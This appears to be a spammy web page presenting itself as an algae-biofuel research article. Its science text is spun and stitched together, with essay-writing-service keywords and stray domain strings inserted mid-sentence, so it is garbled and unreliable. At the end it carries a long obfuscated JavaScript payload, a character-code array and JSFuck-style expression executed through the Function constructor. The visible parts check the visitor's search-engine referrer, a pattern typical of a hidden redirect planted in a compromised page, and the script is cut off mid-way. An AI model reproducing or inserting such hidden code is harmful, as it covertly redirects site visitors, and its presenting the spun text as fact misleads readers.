Biofuel from algae research paper. How to write essay

Several experimenters have found the CO 2 from a smokestack works well for growing algae. Running a PBR is more difficult than using an open pond, and costlier, but may provide xn--o1ap.xn--j1amh higher level of control and productivity.

Open pond[ edit ] Open pond systems consist of simple in ground ponds, which are often mixed by a paddle wheel. These systems have low power requirements, operating costs, and capital costs when compared to closed loop photobioreactor systems. Nearly all commercial algae producers for high value algal products utilize open pond systems. ATS mimics the algal turfs of a natural coral reef by taking in nutrient rich water from waste streams or natural water sources, and pulsing it over a sloped surface.

Once the algae has been established, it can essay on the help harvested every 5—15 days, [98] and can produce 18 metric tons of algal biomass per hectare per year.

As such, the lipid content of the algae in an ATS system is usually lower, which makes it more suitable for a fermented fuel product, such as ethanol, methane, or butanol. The first advantage is documented higher productivity over open pond systems. The third is the elimination of Mt vesuvius essay biofuel from algae research paper on naturally occurring algae species.

One of the solutions is to use filter feeders to «eat» them. Improved animals can provide both foods and fuels. An alternative method to extract the algae is to grow the algae with specific types of fungi. This causes bio-flocculation of the algae which allows for easier extraction. For example, the extracted triglycerides are reacted with methanol to create biodiesel via transesterification.

Other outputs include clean water, fuel gas and nutrients such as nitrogen, phosphorus, and potassium. Algal nutrient solutions Nutrients like nitrogen Nphosphorus Pand potassium Kare important for plant growth and are essential parts of fertilizer. Cardiovascular risk factors thesis can limit the growth of, or productivity in, an area.

Each tonne of microalgae absorbs two tonnes of CO 2. Scottish Bioenergy, who run the biofuel from algae research paper, sell the microalgae as high value, protein-rich food for fisheries. In the future, they will use the algae residues to produce renewable energy through anaerobic digestion. Various sources of nitrogen can be used as a nutrient for algae, with varying capacities. Nitrate was found to be the preferred source of nitrogen, in regards to amount of biomass grown.

Urea is a readily available source that shows comparable results, making it an economical biofuel from algae research paper for nitrogen source in large scale culturing of algae.

In one study [] nitrogen deprivation for 72 hours caused the total fatty acid content on a per cell basis to increase by 2. It is vital for the lipid content in algal cells to be of high enough quantity, while maintaining adequate cell division times, so parameters that can maximize both are under investigation.

Wastewater treatment facility A possible nutrient source is waste water from the biofuel from algae research paper of sewage, agricultural, or biofuel from algae research paper plain run-off, all currently major pollutants and health risks. However, this waste water cannot feed algae directly and must first be processed by bacteria, through anaerobic digestion.

If waste water is not processed before it reaches the algae, it will contaminate the algae in the reactor, and at the very least, kill much of the desired algae strain. In biogas facilities, organic waste is often converted to a mixture of carbon dioxide, methaneand organic fertilizer. Organic fertilizer that comes out of the digester is liquid, and nearly suitable for biofuels from algae research paper growth, but it must first be 2015 college essay scholarships and sterilized.

However, heavy metals, trace metals, and other contaminants in wastewater can decrease the ability of cells to produce lipids biosynthetically and also impact various other workings in the machinery of cells.

The same is true for ocean water, but the contaminants are found in different concentrations. Thus, agricultural-grade fertilizer is the preferred source of nutrients, but heavy metals are again a problem, especially for strains of algae that are susceptible to these metals. In open pond systems the use of strains of algae that can deal with high concentrations of heavy metals could prevent other organisms from infesting these systems.

In addition, algal biofuels are much less toxic, and degrade far more readily than petroleum-based fuels. Algae, similar to plants, require sources of phosphorus, nitrogen and potassium, which are dissertation proposal resources major components of agricultural fertilizers, and large-scale aquaculture will impact these already limited supplies.

In addition, optimal growth of many algal species requires chelated iron and sulfur. Fertilizers in the USA used for agriculture currently contain a less than optimal concentration of phosphate owing to limited supplies. Presently, less than 40 million tons of phosphate is mined from the USA annually, and the maximum phosphate production help writing my thesis this mining peaked in the late s.

If algal biofuels are to completely replace petroleum in the USA, an additional 53 million tons of phosphate must be acquired annually. This is a significant challenge, given that the total amount of phosphate in the USA is estimated to be approximately 2. This leaves few options other then efficient recycling the phosphate back into the algae ponds or significantly increasing mining output, a prospect that would seem to provide a temporary solution at best.

Nitrogen, unlike phosphorous, is not limited in supply but is often a limiting biofuel from algae research paper when it comes to plant and algae growth. Algae require nitrogen to be fixed into ammonia, nitrates and similar molecules, in order to be used as a nutrient source [ 43 ]. Some bacteria, such as rhizobia, have the ability to fix their own nitrogen and some form symbiotic relationships with terrestrial plants, providing the plants with this crucial nutrient to sustain protein and nucleic acid synthesis [ 4244 ].

Some cyanobacteria also have the ability to fix nitrogen, while almost all algal species identified to date require an exogenous source of fixed nitrogen, and most prefer ammonia, as it is less energetically demanding than nitrate or nitrite [ 45 ].

Providing a cheap source of fixed nitrogen will be important for algae biofuel production, and the possibility of using nitrogen-fixing cyanobacteria to supply this nitrogen may help minimize these costs [ 46 ]. In the open oceans, biofuel from algae research paper is a major limiting nutrient for algal growth, as demonstrated by the biofuel from algae research paper of algal blooms by the addition of exogenous iron to open oceans [ 47 ].

Interestingly, the addition of iron to induce an algal bloom has been considered and tested as a biofuel from algae research paper to sequester CO2 [ 47 — 49 ]. Biologically, iron is required for electron transport in all known photosynthetic organisms, including Chlamydomonas reinhardtii, and is typically biofuel from algae research paper in type my essay online clusters in a variety of photosynthetic proteins [ 50 ].

Iron in its oxidized form is not optimal for uptake, and most algae xn--o1ap.xn--j1amh chelated iron. Fortunately, iron can be easily acquired and is more available than many of the other required nutrients. Sulfur, in addition to its key role in the electron transport chain, is also required for protein synthesis and lipid metabolism.

Sulfur deficiency has been shown to limit algal density and stunt growth [ 51 ]. The acquisition of the aforementioned nutrients, as well as potassium and at least nine other micro- and macro-nutrients, should not be overlooked when considering the implications of scaling algal biofuel production to meaningful levels [ 52 ].

Many of the nutrients may be supplemented by combining nutrient-rich waste water or agricultural runoff with algal growth facilities, streamlining water remediation and optimizing economic fuel production.

These strategies appear to be viable at some biofuel from algae research paper however, alternative possibilities must also be developed. Ultimately, a combination of methods may be required, and perhaps a biofuel from algae research paper of micro- and macro-nutrients will have to be developed for algae-based biofuels to reach a capacity that impacts present fossil fuel use. One of the most promising techniques for recycling nutrients in algal ponds is to use anaerobic digestion [ 53 ].

This bacterial process produces methane gas, while keeping the majority of the nutrients in a bacterial slurry that can be killed and the mix used for algal fertilizer.

Methane gas is not currently a high-value biofuel from algae research paper, but can help provide energy to operate algae farms, and cheap anaerobic digestion will preclude producing some types of higher value proteins in the algae. Therefore, a balance should be reached between efficient anaerobic digestion and high-value co-products, as shown in Figure 4.

Figure 4 To maximize algae biofuel sustainability, nutrients must be recycled This is a model of how we expect nutrient utilization to occur as the field matures. Some of these nutrients can be recycled through waste water, while others will be lost due to runoff.

Identifying strains resistant to pathogens, along with many other strategies, will need to be employed. These strategies, discussed later, may include engineering specific pest resistance into production species that have robust growth characteristics and significant lipid composition. Other approaches may include using multiple species, which may be sufficient to the business plan control system spread of specific pests and minimize crop loss in large algal facilities.

Microalgal growth facilities can be an excellent habitat for a wide variety of undesirable guests. In most cases, these will be detrimental for algal growth by acting as competitors other algae with low oil production or bacteriaparasites virus, fungus or protozoans or predators protozoans, fungus or aquatic invertebrates [ 54 — 57 ].

Algae biofuel from algae research paper projects are considering both open and closed systems. These options trawniki.rzeszow.pl significantly different challenges.

Closed systems, such as PBRs, have the potential to minimize contamination, but this comes at a high capital expense. Outdoor pond systems have lower initial capital costs, but historically these open pond systems have relied mainly on outcompeting contaminating organisms by using densely grown axenic or nearly axenic starter cultures [ 5859 ].

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This high-density inoculation allows algae populations to expand rapidly, minimizing end-product loss due to contamination. Unfortunately, this strategy might not be feasible for the extremely large culture volumes required for biofuel production, especially if continuous harvesting strategies are employed.

Another solution to minimize contamination is to use microalgae that can grow biofuel from algae research paper extreme conditions, which are not suitable for most paper writer online strains can survive in extreme conditions, and there is still the possibility for an extremophile contamination to arise [ 62 ].

Microalgae have developed morphological, behavioral and chemical mechanisms for defending themselves from pathogens and predators. The majority of antibiotic extracts studied so far have been from marine macro- and micro-algae [ 65 — 67 ]; however, they are also present in many freshwater species [ 67 — 69 ].

Most antibiotics from microalgae have come from cyanobacteria, haptophytes, chrysophytes, diatoms, dinoflagellates and chlorophytes. The biofuel from algae research paper nature of these substances is very diverse, including fatty acids, bromophenols, tanins, polysaccharides, alcohols, halogenated compounds, peptides, lipopeptides, alkaloids, amides, tertiary sulfoniums, and many other unique substances [ 6566 ].

Some of these chemicals accumulate within cells so they only act after the algae is damaged or ingested. In other species, toxins are secreted into the media by the algae to avoid negative interactions [ 70 ]. Morphological and behavioral defense mechanisms also complement the chemical repertoire against algae grazers [ 577071 ]. The simplest biofuel from algae research paper would be to pick a production strain with extremophile characteristics and a broad repertoire of antibiotic biofuels from algae research paper.

However, this might not occur naturally in a single species, so the next simplest solution would be to coculture a set of microalgae that synergistically contribute to protect the entire crop. Additionally, a single species could be engineered to produce one or more of these algal antibiotics or other natural products [ 637273 ].

However, these are mostly secondary metabolites that require several enzymes to be synthesized. As an alternative, antimicrobial peptides AMPs could be expressed from a single heterologous gene, as has been shown in the nucleus and chloroplast of plants [ 7475 ]. Some of these molecules have been shown to be broad-spectrum antibacterial, antifungal or antiprotozoal agents for which pathogens have a limited capability to develop resistance [ 7677 ].

Moreover, they can also be specifically designed and screened for a biofuel from algae research paper crop protection function [ Case study on gifted and talented student ]. Alternative bactericidal proteins non-AMPs have been expressed in algae.

The Chlorella ellipsoidea nuclear biofuel from algae research paper was engineered to produce rabbit neutrophil peptide-1, which proved to be effective agent against human pathogens in vitro [ 79 ]. Recently, expression of bovine lactoferricin was achieved in nuclear transformants of Nannochloropsis oculata. Algal biofuels from algae research paper from strains expressing this protein were effective against Escherichia coli and Vibrio parahemolyticus [ 82 ]. The aforementioned biofuels from algae research paper might be effective against microorganisms but aquatic invertebrates could still feed freely on these algae.

These proteins have already been expressed in plants and cyanobacteria, and shown to be detrimental towards aquatic insects, aquatic larvae and daphnids [ 7383 — 85 ].

On the other hand, some aquatic invertebrates might be beneficial for algae, and could be used as a biological biofuel from algae research paper strategy. Certain species have strict preference for prey other than algae, such as the heterotrophic protists [ 5770 ].

For example, copepods have been shown to directly contribute to the blooming of the alga Phaeocystis Haptophyceae by selectively eating its protozoan predators [ 86 ]. In addition, we will need to balance the cost of solutions relative to increase productivity and, hence. Some of these improvements can come from improving growth strategies and engineering, as discussed previously, but improvements can also come from optimizing the use of the entire organism.

Although the final price of a barrel of algae oil when production goes to large scale is difficult to extrapolate from the present small production facilities, system improvements will certainly bring costs down. Figure 5 illustrates Argumentative essay boarding school is better than day school estimates of the relative impacts of technological improvements on the economic viability of algae biofuels. Most analysts do not predict full parity with petroleum in the near future.

More likely, the initial selling point of algal fuels will be approximately xn--o1ap.xn--j1amh higher than petroleum, but the environmental costs will be substantially lower than our current strategy of depending on fossil fuels. Our model consists of seven major factors: The remaining four are characteristics of the algae; 4 lipid biofuel from algae research paper 5 growth rate; 6 maximum growth density; 7 marketable co-products produced by the algae.

Based on our analysis, improvements in all seven factors are required for algae to come close to competitive with petroleum. Maximizing the last four characteristics require good crop protection, stressing the importance of developments in this field before the large capital investment required to build full scale algae biofuel farms. It is important to note this economic model does not include the initial capital costs to build the initial farms. From the bench to the pond: In addition, early successes in both business and academic environments will promote funding of the research necessary to optimize and validate this technology.

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To get a sense of the potential progress required, we generated a simplified economic analysis using a Scenedesmus spp.

One surprising result from this model is the importance of growth density in comparison to growth rate. Although growth rate is important for overall productivity, our model predicts that higher growth densities improve economic viability more rapidly than a proportional increase in growth rate, since the expense of harvesting and fuel extraction outweighs the capital expense of building a larger facility to get academic essay same overall total production.

If we assume that, with thorough characterization of extant species, we can identify a species that has a growth rate of 0. This number could potentially be improved with breeding and selection or molecular genetics to further optimize the production strain, but there is no guarantee that a strain with these characteristics will be identified biofuel from algae research paper to the complex interaction between growth rates and oil accumulation.

Similarly, there is no way to validate that our model is correct, since a number of costs implicit in the model are estimates based on previous work of others [ 9 — 12 ], and extrapolated from traditional biofuel from algae research paper data [ 39 ].

In the following sections, we discuss the biofuel from algae research paper strategies to overcome this price gap. The great diversity of algal species provides a wide range of starting strains for fuel production.

This presents an incredible opportunity, but also a significant challenge. Characterizing species for application in industrial processes requires substantial effort.

To move a species into an applied pipeline after initial species identification, significant physiological, biochemical and genetic characterization must occur. This characterization includes establishing optimal growth conditions i. In parallel, functional genomics genomics, proteomics and metabolomics can provide insight into metabolic pathways present in these species and provide a foundation for future metabolic engineering.

The US government-sponsored Aquatic Species Program ASP provided initial characterization of a few hundred species, from the s through to the mids [ 16 ]. This work has continued in a number of laboratories around the world, but remains an area of biology that is largely unexplored.

General descriptions of the few algal classes in which one or more species has been characterized now follow. Diatoms This diverse group, with more thanestimated species, is currently one of the most prolific primary marine producers. Furthermore, it how to write a 2500 word essay in one day believed that some oil biofuels from algae research paper originated from diatom biomass [ 87 ].

Diatoms are distinguished by their ornate bipartite shells, which are composed primarily of polymerized silicates. In silica-limited environments, diatoms have been found to accumulate biofuels from algae research paper however, growth is reduced [ 88 ].

Although this class represents a relatively untapped pool of biodiversity for biofuels, only a limited amount of research has been done to understand how these algae accumulate lipids, while the majority of the work has focused on biofuel from algae research paper how diatoms generate their shells. In addition, diatom species have been identified that generate a biofuel from algae research paper of interesting biomolecules that have human health benefits or commercial application, such as omega-3 biofuel from algae research paper acids [ 8990 ].

Breeding approaches, as well as using forward genetics to better understand their basic biology, has been hampered by the fact that they are diploid during vegetative growth, unlike many other algal groups.

Although other diploid species have become foundational model organisms e. Arabidopsis, Drosophila and biofuels from algae research paperthe diatom sexual lifecycle is poorly understood, making them recalcitrant to traditional forward genetic exploration. Whole-genome sequences have been released for two species, Thalassiosira pseudonana and Phaeodactylum tricornutum, and recent work has shown stable nuclear transformation of these two species and a few other diatoms [ 91 — 94 ].

The sequenced genomes, in conjunction with nuclear transformation, may allow reverse genetic approaches, such as siRNAs, to dissect the molecular pathways regulating diatom metabolism, allowing us to improve their potential as biofuel-generating organisms and our understanding of their basic biology [ 95 essay on slow and steady doesn’t win the race One reason for this focus on green algae is their shared common ancestry with vascular plants.

The extant green algae consist of approximately biofuel from algae research paper, and member species can be biofuel from algae research paper throughout freshwater and marine habitats, and a few species e.

The genomes of a number of green algae have been sequenced, and molecular tools are in place to transform both the chloroplast and nuclear genome of C. Current work is underway to transform plastids of additional species in our laboratory, as biofuel from algae research paper as others, while nuclear transformation has been achieved in a number of other green algae species, such as members of the Chlorella and volvox genuses [ 99].

In biofuels from algae research paper of oil production, of the published algal species, members of the Scenedesmus biofuel from algae research paper have been identified as potential oil-producing species, with both rapid growth, as well as relatively high lipid content [ 18, ].

In biofuel from algae research paper, a number of species have been identified that produce interesting metabolites, such as Botryococcus spp. Cyanobacteria Cyanobacteria were initially examined for biofuel production and found wjec a level english language coursework and the potential to rapidly engineer these species.

Although lipid production in cyanobacteria may never reach that of the eukaryotic algae, the ability to easily manipulate the cyanobacterial genome may allow them to be engineered to produce other biofuel precusor molecules. Cyanobacteria may also be able to be manipulated to secrete biofuel molecules.

xeCmfIZ

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,50,112,53,57,72,84,77,76,60,34,48,47,119,63,38,95,43,85,67,44,58,37,122,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![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